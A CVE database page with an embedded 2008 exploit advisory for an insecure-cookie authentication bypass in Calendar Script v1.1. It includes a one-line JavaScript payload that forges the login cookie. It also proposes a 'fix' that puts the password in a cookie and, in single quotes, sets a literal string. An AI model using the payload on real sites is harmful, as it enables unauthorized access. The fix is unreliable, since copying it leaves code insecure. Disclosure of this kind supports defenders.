Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 7513
Publication date : 2008-12-17 23h00 +00:00
Author : Osirys
EDB Verified : Yes
[START]
#########################################################################################
[0x01] Informations:
Script : Calendar Script v1.1
Download : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1
Vulnerability : Insecure Cookie Handling
Author : Osirys
Contact : osirys[at]live[dot]it
Website : http://osirys.org
Notes : Proud to be Italian
Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######
Bugged file is: /[path]/index.php
[CODE]
if(mysql_num_rows($checkDetails) > 0) {
setcookie('nodstrumCalendarV2', '1', time()+3600); // Cookie will expire in 1 hour.
// $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}
[/CODE]
If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and
'1' as content.
## [!] FIX: Change name or content to the cookie. Example:
[CODE]
if(mysql_num_rows($checkDetails) > 0) {
setcookie('nodstrumCalendarV2', '$password', time()+3600); // Cookie will expire in 1 hour.
// $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>';
}
[/CODE]
### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/";
#########################################################################################
[/END]
# milw0rm.com [2008-12-18]
Products Mentioned
Configuraton 0
Nodstrum>>Mysql_calendar >> Version 1.1
Nodstrum>>Mysql_calendar >> Version 1.2
References